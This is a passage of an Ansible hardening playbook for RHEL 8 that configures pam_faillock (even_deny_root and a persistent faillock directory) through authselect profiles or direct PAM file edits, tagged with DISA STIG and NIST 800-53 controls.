            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Define the
            new authselect custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Get authselect
            current features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Check if
            any custom profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Configure the root Account for Failed Password Attempts - Create an
            authselect custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Configure the root Account for Failed Password Attempts - Create an
            authselect custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Configure the root Account for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Configure the root Account for Failed Password Attempts - Ensure the
            authselect custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Configure the root Account for Failed Password Attempts - Restore
            the authselect features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Configure the root Account for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Configure the root Account for Failed Password Attempts - Change the
            PAM file to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Configure the root Account for Failed Password Attempts - Define a fact
          for control already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Configure the root Account for Failed Password Attempts - Check if {{
          pam_file_path }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Configure the root Account for Failed Password Attempts - Ensure the
          &quot;even_deny_root&quot; option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path
          }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\beven_deny_root\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Configure the root Account for Failed Password Attempts - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_password_auth_file_present.stat.exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020023
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(c)
    - accounts_passwords_pam_faillock_deny_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the root Account for Failed Password Attempts - Ensure the pam_faillock.so
      even_deny_root parameter in PAM files
    block:

    - name: Configure the root Account for Failed Password Attempts - Check if pam_faillock.so
        even_deny_root parameter is already enabled in pam files
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail).*even_deny_root
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_even_deny_root_parameter_is_present

    - name: Configure the root Account for Failed Password Attempts - Ensure the inclusion
        of pam_faillock.so preauth even_deny_root parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)
        line: \1required\3 even_deny_root
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_even_deny_root_parameter_is_present.found == 0

    - name: Configure the root Account for Failed Password Attempts - Ensure the inclusion
        of pam_faillock.so authfail even_deny_root parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)
        line: \1required\3 even_deny_root
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_even_deny_root_parameter_is_present.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.2',
      '&gt;=') and &quot;pam&quot; in ansible_facts.packages )
    - not result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020023
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(c)
    - accounts_passwords_pam_faillock_deny_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Lock Accounts Must Persist - Check if system relies on authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Remediation where authselect tool is present
    block:

    - name: Lock Accounts Must Persist - Check integrity of authselect current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Lock Accounts Must Persist - Informative message based on the authselect
        integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Lock Accounts Must Persist - Get authselect current features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Lock Accounts Must Persist - Ensure &quot;with-faillock&quot; feature is enabled
        using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Lock Accounts Must Persist - Ensure authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Remediation where authselect tool is not present
    block:

    - name: Lock Accounts Must Persist - Check if pam_faillock.so is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Lock Accounts Must Persist - Enable pam_faillock.so preauth editing PAM
        files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Lock Accounts Must Persist - Enable pam_faillock.so authfail editing PAM
        files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Lock Accounts Must Persist - Enable pam_faillock.so account section editing
        PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Check the presence of /etc/security/faillock.conf
      file
    ansible.builtin.stat:
      path: /etc/security/faillock.conf
    register: result_faillock_conf_check
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Ensure the pam_faillock.so dir parameter in
      /etc/security/faillock.conf
    ansible.builtin.lineinfile:
      path: /etc/security/faillock.conf
      regexp: ^\s*dir\s*=
      line: dir = {{ var_accounts_passwords_pam_faillock_dir }}
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Ensure the pam_faillock.so dir parameter not
      in PAM files
    block:

    - name: Lock Accounts Must Persist - Check if /etc/pam.d/system-auth file is present
      ansible.builtin.stat:
        path: /etc/pam.d/system-auth
      register: result_pam_auth_file_present

    - name: Lock Accounts Must Persist - Check the proper remediation for the system
      block:

      - name: Lock Accounts Must Persist - Define the PAM file to be edited as a local
          fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/system-auth

      - name: Lock Accounts Must Persist - Check if system relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Lock Accounts Must Persist - Ensure authselect custom profile is used
          if authselect is present
        block:

        - name: Lock Accounts Must Persist - Check integrity of authselect current
            profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Lock Accounts Must Persist - Informative message based on the authselect
            integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Lock Accounts Must Persist - Get authselect current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Lock Accounts Must Persist - Define the current authselect profile
            as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Define the new authselect custom profile
            as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Get authselect current features to also
            enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Check if any custom profile with the
            same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Create an authselect custom profile based
            on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts Must Persist - Create an authselect custom profile based
            on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts Must Persist - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts Must Persist - Ensure the authselect custom profile
            is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts Must Persist - Restore the authselect features in the
            custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Lock Accounts Must Persist - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Lock Accounts Must Persist - Change the PAM file to be edited according
            to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Lock Accounts Must Persist - Define a fact for control already filtered
          in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Lock Accounts Must Persist - Check if {{ pam_file_path }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Lock Accounts Must Persist - Ensure the &quot;dir&quot; option from &quot;pam_faillock.so&quot;
          is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bdir\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Lock Accounts Must Persist - Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_auth_file_present.stat.exists

    - name: Lock Accounts Must Persist - Check if /etc/pam.d/password-auth file is
        present
      ansible.builtin.stat:
        path: /etc/pam.d/password-auth
      register: result_pam_password_auth_file_present

    - name: Lock Accounts Must Persist - Check the proper remediation for the system
      block:

      - name: Lock Accounts Must Persist - Define the PAM file to be edited as a local
          fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/password-auth

      - name: Lock Accounts Must Persist - Check if system relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Lock Accounts Must Persist - Ensure authselect custom profile is used
          if authselect is present
        block:

        - name: Lock Accounts Must Persist - Check integrity of authselect current
            profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Lock Accounts Must Persist - Informative message based on the authselect
            integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Lock Accounts Must Persist - Get authselect current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Lock Accounts Must Persist - Define the current authselect profile
            as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Define the new authselect custom profile
            as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Get authselect current features to also
            enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Check if any custom profile with the
            same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Lock Accounts Must Persist - Create an authselect custom profile based
            on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts Must Persist - Create an authselect custom profile based
            on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Lock Accounts Must Persist - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts Must Persist - Ensure the authselect custom profile
            is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Lock Accounts Must Persist - Restore the authselect features in the
            custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Lock Accounts Must Persist - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Lock Accounts Must Persist - Change the PAM file to be edited according
            to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Lock Accounts Must Persist - Define a fact for control already filtered
          in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Lock Accounts Must Persist - Check if {{ pam_file_path }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Lock Accounts Must Persist - Ensure the &quot;dir&quot; option from &quot;pam_faillock.so&quot;
          is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bdir\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Lock Accounts Must Persist - Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_password_auth_file_present.stat.exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Ensure the pam_faillock.so dir parameter in
      PAM files
    block:

    - name: Lock Accounts Must Persist - Check if pam_faillock.so dir parameter is
        already enabled in pam files
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail).*dir
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_dir_parameter_is_present

    - name: Lock Accounts Must Persist - Ensure the inclusion of pam_faillock.so preauth
        dir parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)
        line: \1required\3 dir={{ var_accounts_passwords_pam_faillock_dir }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_dir_parameter_is_present.found == 0

    - name: Lock Accounts Must Persist - Ensure the inclusion of pam_faillock.so authfail
        dir parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)
        line: \1required\3 dir={{ var_accounts_passwords_pam_faillock_dir }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_dir_parameter_is_present.found == 0

    - name: Lock Accounts Must Persist - Ensure the desired value for pam_faillock.so
        preauth dir parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)(dir)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_dir }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_dir_parameter_is_present.found &gt; 0

    - name: Lock Accounts Must Persist - Ensure the desired value for pam_faillock.so
        authfail dir parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)(dir)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_dir }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_dir_parameter_is_present.found &gt; 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Create the faillock directory if it does not
      exist
    ansible.builtin.file:
      path: '{{ var_accounts_passwords_pam_faillock_dir }}'
      state: directory
      setype: faillog_t
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Get SELinux context for faillock directory
    ansible.builtin.command:
      cmd: ls -dZ {{ var_accounts_passwords_pam_faillock_dir }}
    register: faillock_selinux_context
    changed_when: false
    check_mode: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Ensure SELinux file context is permanently
      set
    ansible.builtin.command:
      cmd: semanage fcontext -a -t faillog_t &quot;{{ var_accounts_passwords_pam_faillock_dir
        }}(/.*)?&quot;
    register: result_accounts_passwords_pam_faillock_dir_semanage
    failed_when: false
    changed_when:
    - result_accounts_passwords_pam_faillock_dir_semanage.rc == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - '&quot;faillog_t&quot; not in faillock_selinux_context.stdout'
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Lock Accounts Must Persist - Ensure SELinux file context is applied
    ansible.builtin.command:
      cmd: restorecon -R &quot;{{ var_accounts_passwords_pam_faillock_dir }}&quot;
